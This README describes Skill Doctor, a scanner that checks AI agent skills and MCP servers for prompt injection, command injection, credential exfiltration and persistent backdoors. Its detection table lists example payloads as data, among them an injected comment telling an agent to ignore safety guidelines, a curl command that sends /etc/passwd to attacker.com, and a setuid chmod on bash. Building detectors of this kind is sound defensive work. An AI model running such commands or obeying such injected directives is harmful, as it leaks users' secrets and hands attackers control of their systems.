内容
<p align="center">
<img src="public/skill-doctor-banner.webp" alt="Skill Doctor security scanner for AI agent skill files" width="100%" />
</p>
<div align="center">
# Skill Doctor
### Deterministic Security Analyzer & Threat Firewall for AI Agent Skills
**Sub-50ms static analysis, taint tracking, and runtime sandboxing for agent tools, skills, and MCP servers — offline by default, zero runtime overhead.**
<br />
[](https://github.com/KalarisLabs/Skill-Doctor/actions/workflows/ci.yml)
[](https://deepwiki.com/KalarisLabs/Skill-Doctor)
[](LICENSE)
[](Cargo.toml)
[](https://crates.io/crates/skill-doctor)
[](https://www.npmjs.com/package/@security.kalarislabs/skill-doctor)
[](https://github.com/KalarisLabs/Skill-Doctor/releases)
[](https://github.com/KalarisLabs/Skill-Doctor/stargazers)
[](https://github.com/KalarisLabs/Skill-Doctor)
<br />
[Docs](docs/RELEASE.md) · [Getting Started](#getting-started) · [Threat Model](#threat-model--multi-layer-architecture) · [What it Detects](#what-it-detects) · [Contributing](CONTRIBUTING.md) · [Security](SECURITY.md) · [Discussions](https://github.com/KalarisLabs/Skill-Doctor/discussions)
</div>
---
## The Problem: AI Skills Are Untrusted Code in Disguise
Agent skills (such as `SKILL.md` bundles, tool schemas, and companion scripts) are natural-language instructions executed by AI agents with real system access: bash tools, filesystem APIs, and network sockets. Today, these skills are distributed and installed from public repositories without code signing or sandboxing.
- **Prompt Injections disguised as documentation:** Malicious instructions hidden in Markdown headings, HTML comments, or unicode tags can hijack agent model instructions and override guardrails.
- **Hidden Command Execution:** Companion scripts can execute unsanitized shell commands (`eval`, `exec`, child processes) without user awareness.
- **Credential Exfiltration:** Adversarial prompts trick agents into reading `.env`, AWS tokens, SSH keys, or session secrets and exfiltrating them via outbound tools or network calls.
- **Persistent Agent Backdoors:** Covert directives write auto-loaded rules into local agent directories (`.claude/`, `.agents/`, `~/.bashrc`) that survive session restarts.
- **Why LLM-as-a-judge fails:** Model-based detectors are slow, expensive, non-deterministic, and vulnerable to the very prompt injections they attempt to identify.
**Skill Doctor solves this:** Written in Rust, it delivers sub-50ms deterministic static analysis that audits skills before your agent ever loads them into memory.
---
## Threat Model & Multi-Layer Architecture
Skill Doctor evaluates skill packages across four defensive tiers:
- **L1 (Deterministic Static Analysis — Offline Default):** Lexical parsing, AST taint tracking, Unicode confusable analysis (UTS #39), and YARA-X compiled pattern rules. Runs in under 50ms with zero network calls and zero LLM dependencies.
- **L2 (Semantic Intent Analysis — Opt-in):** Model-assisted intent disambiguation and covert prompt analysis via `--intel`.
- **L3 (Behavioral Process Harness — Opt-in):** Process execution sandbox in temporary isolated home directories with execution quotas via `--sandbox`.
- **L4 (Threat Intelligence — Opt-in):** Cryptographic digest lookups against known malicious skill databases via `--intel`.
- **The Additive Invariant:** Higher layers (L2, L3) may only *add* security findings; they can never suppress, dismiss, or downgrade an L1 finding.
> [!NOTE]
> Read the complete threat classification and formal model in the [Whitepaper Implementation Mapping](docs/PAPER-RECONCILIATION.md).
---
## Getting Started
Skill Doctor can be integrated directly into your AI coding agent, run in real-time continuous watch mode during development, or invoked as a standalone CLI scanner.
### 1. Add to your AI Agent (Claude Code, Cursor, Windsurf, Cline)
Equip your AI coding agent with Skill Doctor via Model Context Protocol (MCP) so your agent automatically audits skills and tools before loading or modifying them.
#### Prompt your Agent to install Skill Doctor
Copy-paste this instruction into your AI coding agent:
> *"Please install `@security.kalarislabs/skill-doctor` and register it as an MCP server with command `npx -y @security.kalarislabs/skill-doctor mcp`. Use it to audit skill files and tools in this workspace before executing or modifying them."*
#### Add to Claude Desktop / Cursor / Windsurf MCP Configuration
Add this entry to your `mcp.json` or agent settings:
```json
{
"mcpServers": {
"skill-doctor": {
"command": "npx",
"args": ["-y", "@security.kalarislabs/skill-doctor", "mcp"]
}
}
}
```
Or add via the Claude Code CLI:
```bash
claude mcp add skill-doctor -- npx -y @security.kalarislabs/skill-doctor mcp
```
---
### 2. Continuous Real-Time Watch Mode (Active Dev)
Don't just scan once and exit — keep Skill Doctor active in the background. It continuously monitors your skill files and re-scans in sub-50ms as you or your agent write code:
```bash
npx @security.kalarislabs/skill-doctor watch ./skills
```
---
### 3. Quick One-Shot Scan (< 10 sec)
Run an immediate security audit with zero installation:
```bash
npx @security.kalarislabs/skill-doctor scan ./examples/hello-skill
```
---
### 4. Production & Global Installation
Install globally or into your automated pipeline:
- **npm global:**
```bash
npm install -g @security.kalarislabs/skill-doctor
skill-doctor scan ./examples/hello-skill
```
- **cargo (crates.io):**
```bash
cargo install skill-doctor --locked --features mcp
skill-doctor scan ./examples/hello-skill
```
- **Download prebuilt binary:**
Standalone stripped binaries are available for 6 matrix targets (Linux musl, macOS, Windows):
👉 [Download v0.1.0 Release Assets](https://github.com/KalarisLabs/Skill-Doctor/releases/tag/v0.1.0)
---
### 5. Development (from source)
Build from source (Requires Rust 1.93.0+ (MSRV)):
```bash
git clone https://github.com/KalarisLabs/Skill-Doctor && cd Skill-Doctor
cargo install --path crates/skill-doctor-cli --locked --features mcp
skill-doctor scan ./examples/hello-skill
```
**Notes:**
- `--features mcp` is required for `skill-doctor mcp`; the published crate has `default = []`, so a plain `cargo install skill-doctor` ships without the MCP server.
- `SKILL_DOCTOR_SKIP_DOWNLOAD=1` skips the npm postinstall binary download for local source builds.
- macOS: run `xattr -d com.apple.quarantine skill-doctor` if quarantined by Gatekeeper.
---
### Real-world example: Detecting a trojanized skill
```bash
$ skill-doctor scan ./suspicious-skill
HIGH [SD-01] Prompt Injection: ASCII smuggling detected in agent prompt
HIGH [SD-10] Obfuscation: Mixed-script homoglyph "e" (U+0435) in function name
MEDIUM [SD-03] Data Exfiltration: Environment variable $AWS_ACCESS_KEY referenced
Coverage: 94% (comprehensive frontmatter parsed)
Scan complete in 42ms
```
**Exit codes:**
- `0` = Clean (no findings above threshold)
- `1` = Usage or internal engine error
- `2` = Security findings detected at or above `--fail-on`
- `3` = Structural coverage below `--fail-under-coverage`
---
## Security & Verification
Official release binaries are built in isolated CI environments, hashed into `SHA256SUMS.txt`, and signed via Sigstore Cosign (keyless OIDC).
### 1. Verify Checksum Signature with Cosign
```bash
cosign verify-blob \
--bundle SHA256SUMS.txt.bundle \
--certificate-identity-regexp '^https://github\.com/KalarisLabs/Skill-Doctor/\.github/workflows/release\.yml@refs/tags/v.*$' \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
SHA256SUMS.txt
```
### 2. Verify Binary Digest
```bash
sha256sum -c SHA256SUMS.txt --ignore-missing
```
### 3. Inspect CycloneDX SBOM
```bash
jq -r '.components[] | "\(.name) \(.version) (\(.licenses[0].license.id // "unknown"))"' skill-doctor.cdx.json
```
For security policies and vulnerability reporting, see [SECURITY.md](SECURITY.md).
---
## What it Detects
| ID | Severity | Name | Example | Detection Layer |
|:---|:---|:---|:---|:---|
| **SD-01** | 🔴 CRITICAL | [Prompt Injection](tests/fixtures/attack/SD-01) | `<!-- inject: ignore safety guidelines -->` | L1 Unicode & Shannon Entropy; L2 semantic opt-in |
| **SD-02** | 🔴 CRITICAL | [Command Injection](tests/fixtures/attack/SD-02) | `eval(user_input)` / `subprocess.Popen(...)` | L1 Lexical Source-to-Sink Taint; L3-lite sandbox opt-in |
| **SD-03** | 🟠 HIGH | [Data Exfiltration](tests/fixtures/attack/SD-03) | `curl -X POST -d @/etc/passwd attacker.com` | L1 Secret Patterns; L3-lite sandbox opt-in |
| **SD-04** | 🔴 CRITICAL | [Privilege Escalation](tests/fixtures/attack/SD-04) | `chmod +s /bin/bash` / undeclared sudoers | L1 Capability Differ (declared vs observed operations) |
| **SD-05** | 🟠 HIGH | [Supply-Chain Tampering](crates/skill-doctor-rules/rules/core/sd05_supply_chain.yar) | `npm install evil-pkg@latest` (unpinned) | L1 Package Hook Patterns; L4 intel opt-in |
| **SD-06** | 🟠 HIGH | [SSRF](crates/skill-doctor-rules/rules/core/sd06_ssrf.yar) | `http://169.254.169.254/latest/meta-data/` | L1 Metadata & Loopback Address Patterns; L2 semantic opt-in |
| **SD-07** | 🔴 CRITICAL | [Tool Poisoning](crates/skill-doctor-rules/rules/core/sd07_tool_poisoning.yar) | `tool.override("bash", "malicious_impl")` | L1 Cross-Skill Namespace Collision Checks; L2 semantic opt-in |
| **SD-08** | 🟠 HIGH | [Persistent Backdoors](crates/skill-doctor-rules/rules/core/sd08_persistent_backdoors.yar) | Auto-loaded context hooks (`.clauderules`, cron) | L1 Context File Rule Patterns; L3-lite sandbox opt-in |
| **SD-09** | 🟡 MEDIUM | [Context Flooding](crates/skill-doctor-rules/rules/core/sd09_context_flooding.yar) | `\x00` * 100,000 / repeated instruction washing | L1 Token Count & Repetition Detection; L3-lite sandbox opt-in |
| **SD-10** | 🟠 HIGH | [Obfuscation & Evasion](tests/fixtures/attack/SD-10) | Mixed-script homoglyphs, bidi Trojan Source | L1 Unicode Engine; L3-lite sandbox opt-in |
| **SD-11** | 🔴 CRITICAL | [Scanner Hijacking](crates/skill-doctor-neutralize) | Attacks attempting to hijack the scanner/host agent | `skill-doctor-neutralize` Fencing + Invariant |
*The v0.1.0 test suite includes 14 curated fixtures (covering SD-01, SD-02, SD-03, SD-04, and SD-10). Remaining classes are rule-enforced.*
---
## Usage & Workflows
### Scan a single skill
```bash
skill-doctor scan ./examples/hello-skill
```
### Scan a directory of skills
```bash
skill-doctor scan-all . --exclude "node_modules/*" --exclude "target/*"
```
### Compare against a baseline
```bash
skill-doctor diff ./examples/hello-skill --baseline report.json
```
### CI gate check
```bash
skill-doctor gate ./examples/hello-skill --fail-on HIGH --fail-under-coverage 0.8
```
### Watch mode (real-time development)
```bash
skill-doctor watch ./examples/hello-skill
```
### MCP Server mode
```bash
skill-doctor mcp
```
---
## CLI Flags & Options
### Output & reporting
- `--output <format>` — Output format: `text`, `json`, `sarif` (default: `text`)
- `--deterministic` — Byte-identical output (sorted keys, stable ordering, pinned timestamps)
- `--color <when>` — Control colorization: `auto`, `always`, `never`
- `--quiet` — Suppress non-essential banners and spinners
### Gating & CI
- `--fail-on <severity>` — Minimum severity to trigger exit code 2: `LOW`, `MEDIUM`, `HIGH`, `CRITICAL` (default: `HIGH`)
- `--fail-under-coverage <ratio>` — Minimum structural coverage ratio (0.0–1.0) to trigger exit code 3
### Advanced features (opt-in)
- `--sandbox` — Run L3-lite behavioral process harness in temporary mock environments
- `--intel` — Query L4 community threat intelligence feed for known malicious digests
- `--tui` — Launch interactive full-screen terminal dashboard
### Defaults & Guarantees
- `--offline` — **Enabled by default** (zero mandatory network calls, zero telemetry)
- **Determinism:** `--deterministic` guarantees byte-identical output across identical runs
---
## Use it in CI
### GitHub Actions
```yaml
- name: Run Skill Doctor
id: scan
uses: KalarisLabs/Skill-Doctor@v0.1.0
with:
path: .
mode: scan-all
fail-on: HIGH
fail-under-coverage: 0.8
output: sarif
sarif-file: skill-doctor.sarif
- name: Upload SARIF report
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: skill-doctor.sarif
```
### GitLab CI
```yaml
scan-skills:
image: ubuntu:latest
before_script:
- apt-get update && apt-get install -y curl
- curl -sSfL https://github.com/KalarisLabs/Skill-Doctor/releases/download/v0.1.0/skill-doctor-v0.1.0-x86_64-unknown-linux-musl.tar.gz | tar -xz
- mv skill-doctor /usr/local/bin/
script:
- skill-doctor scan-all . --fail-on HIGH --output sarif > skill-doctor.sarif
artifacts:
reports:
sast: skill-doctor.sarif
```
### Raw shell script (any CI)
```bash
skill-doctor scan-all . \
--output sarif \
--fail-on HIGH \
--fail-under-coverage 0.8 \
--deterministic \
--offline
```
---
## Performance
All performance metrics are measured with explicit provenance:
| Metric | Pre-registered Target | Measured (with Platform + Provenance) |
|:---|:---|:---|
| **Binary footprint (musl, stripped, `--features mcp`)** | ~12 MB target (**MISSED**: YARA-X embeds Wasmtime ~14 MiB; < 20 MiB ceiling) | **16,934,512 bytes** (16.15 MiB, `x86_64-unknown-linux-musl`, CI-measured) |
| **Binary footprint (MSVC, stripped, `--features mcp`)** | < 20 MiB ceiling | **17,936,896 bytes** (17.11 MiB, `x86_64-pc-windows-msvc`, not CI-verified) |
| **Peak RSS** | < 40 MiB | **14.67 MiB** (local measurement, `x86_64-pc-windows-msvc`, not CI-verified) |
| **Scan throughput** | ≥ 2,000 skills/min (warm cache off) | **660 skills/s** (~39,600 skills/min) (local measurement, `x86_64-pc-windows-msvc`, not CI-verified) |
| **Median cold scan latency** | sub-150 ms (pre-registered target) | Not measured in CI |
---
## Status & Roadmap
### Current scope (v0.1.0)
- 11 threat classes with 14 curated fixtures
- L1 deterministic analysis (offline, zero LLM dependency)
- L2 semantic & L3 behavioral analysis (opt-in)
- 6 supported platform targets (`x86_64`/`aarch64` for Linux musl, macOS Darwin, and Windows MSVC)
- Byte-identical output via `--deterministic` verified in CI
### Planned (v0.1.1+)
- [Expand fixture coverage across all 11 SDTM-v1 classes](https://github.com/KalarisLabs/Skill-Doctor/issues?q=is%3Aissue+is%3Aopen+label%3Acorpus)
- [Add Cosign verification to GitHub Action](https://github.com/KalarisLabs/Skill-Doctor/issues/41)
- [External corpus evaluation on public skill repositories](https://github.com/KalarisLabs/Skill-Doctor/issues?q=is%3Aissue+is%3Aopen+label%3Aevaluation)
- [Reduce binary footprint via conditional compilation](https://github.com/KalarisLabs/Skill-Doctor/issues?q=is%3Aissue+is%3Aopen+label%3Aperformance)
- [Apple notarization for macOS binaries](https://github.com/KalarisLabs/Skill-Doctor/issues?q=is%3Aissue+is%3Aopen+label%3Aplatform)
- [Additional target triples](https://github.com/KalarisLabs/Skill-Doctor/issues?q=is%3Aissue+is%3Aopen+label%3Aplatform)
See the [v0.1.1 milestone](https://github.com/KalarisLabs/Skill-Doctor/milestone/1) for details.
---
## Community & Adopters
Skill Doctor is built for:
- **Engineers shipping agent skills/plugins** who need pre-deployment security validation.
- **Registry and marketplace operators** screening skill submissions for malicious behavior.
- **Security teams** integrating automated skill auditing into CI/CD pipelines.
- **Researchers** studying agent threats and prompt injection defenses.
See [ADOPTERS.md](ADOPTERS.md) for organizations that have adopted Skill Doctor.
Join the conversation:
- [GitHub Discussions](https://github.com/KalarisLabs/Skill-Doctor/discussions) — Announcements, Q&A, and rule proposals
- [Issue Tracker](https://github.com/KalarisLabs/Skill-Doctor/issues) — Bug reports and feature requests
---
## Star History
<div align="center">
<a href="https://star-history.com/#KalarisLabs/Skill-Doctor&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=KalarisLabs/Skill-Doctor&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=KalarisLabs/Skill-Doctor&type=Date" />
<img alt="Skill Doctor Star History Chart" src="https://api.star-history.com/svg?repos=KalarisLabs/Skill-Doctor&type=Date" width="100%" />
</picture>
</a>
</div>
---
## Download & Package Statistics
| Channel | Package | Status | Link |
|:---|:---|:---|:---|
| **npm** | `@security.kalarislabs/skill-doctor` | [](https://www.npmjs.com/package/@security.kalarislabs/skill-doctor) | [npm Registry](https://www.npmjs.com/package/@security.kalarislabs/skill-doctor) |
| **crates.io** | `skill-doctor` | [](https://crates.io/crates/skill-doctor) | [crates.io Registry](https://crates.io/crates/skill-doctor) |
| **GitHub Releases** | `v0.1.0` | [](https://github.com/KalarisLabs/Skill-Doctor/releases) | [Release Assets](https://github.com/KalarisLabs/Skill-Doctor/releases/tag/v0.1.0) |
---
## Sponsors
<table>
<tr>
<td align="center" width="240">
<a href="https://mintlify.com">
<img src="public/Mintlify_idjQU-FEBd_0.svg" width="160" alt="Mintlify" /><br /><br />
<sub><b>Mintlify</b></sub>
</a><br />
<sub>Documentation Platform</sub>
</td>
<td align="center" width="240">
<a href="https://github.com/KalarisLabs">
<img src="public/STACKED LOGO TRANSPARENT.png" width="160" alt="Kalaris Labs" /><br /><br />
<sub><b>Kalaris Labs</b></sub>
</a><br />
<sub>Research & Development</sub>
</td>
</tr>
</table>
*Interested in sponsoring Skill Doctor? Reach out via [GitHub Discussions](https://github.com/KalarisLabs/Skill-Doctor/discussions).*
---
## Contributors
<table>
<tr>
<td align="center">
<a href="https://github.com/saynchowdhury">
<img src="https://github.com/saynchowdhury.png" width="90px;" alt="Sayan Chowdhury" style="border-radius:50%;" /><br /><br />
<sub><b>Sayan Chowdhury</b> (@saynchowdhury)</sub>
</a><br />
<sub>Lead Author & Architect</sub>
</td>
</tr>
</table>
---
## Acknowledgements
Skill Doctor builds upon these exceptional open source projects:
- [YARA-X](https://github.com/VirusTotal/yara-x) — Pattern matching engine
- [Wasmtime/Cranelift](https://github.com/bytecodealliance/wasmtime) — WebAssembly runtime & optimizing compiler
- [rmcp](https://github.com/ShowMeYourFlowHub/rmcp) — Model Context Protocol implementation
- [clap](https://github.com/clap-rs/clap) — Command-line argument parsing
- [rayon](https://github.com/rayon-rs/rayon) — Data parallelism engine
---
## Documentation Index
- [paper/skill-doctor-whitepaper.pdf](paper/skill-doctor-whitepaper.pdf) — Academic whitepaper (PDF preprint)
- [paper/skill-doctor-whitepaper.tex](paper/skill-doctor-whitepaper.tex) — LaTeX manuscript source
- [docs/RELEASE.md](docs/RELEASE.md) — Release & publication playbook
- [DEPENDENCIES.md](DEPENDENCIES.md) — Complete crate dependency rationale
- [TESTING.md](TESTING.md) — Test strategy and CI gating architecture
- [docs/PAPER-RECONCILIATION.md](docs/PAPER-RECONCILIATION.md) — Whitepaper implementation mapping
- [CHANGELOG.md](CHANGELOG.md) — Version history
---
## Security Policy
- Report vulnerabilities privately via [GitHub Security Advisories](https://github.com/KalarisLabs/Skill-Doctor/security/advisories).
- Security contact: `security@kalarislabs.com` (see [SECURITY.md](SECURITY.md)).
### Supported Versions
| Version | Support Status |
|:---|:---|
| 0.1.x | Supported |
### Version History Note
crates.io versions 0.2.0 / 0.2.2 / 0.2.3 are yanked pre-release prototypes that must not be used. 0.1.0 is the first supported release.
---
## License
Apache-2.0. Requires Rust 1.93.0+ (MSRV).
连接信息
猜你喜欢
暂无推荐服务器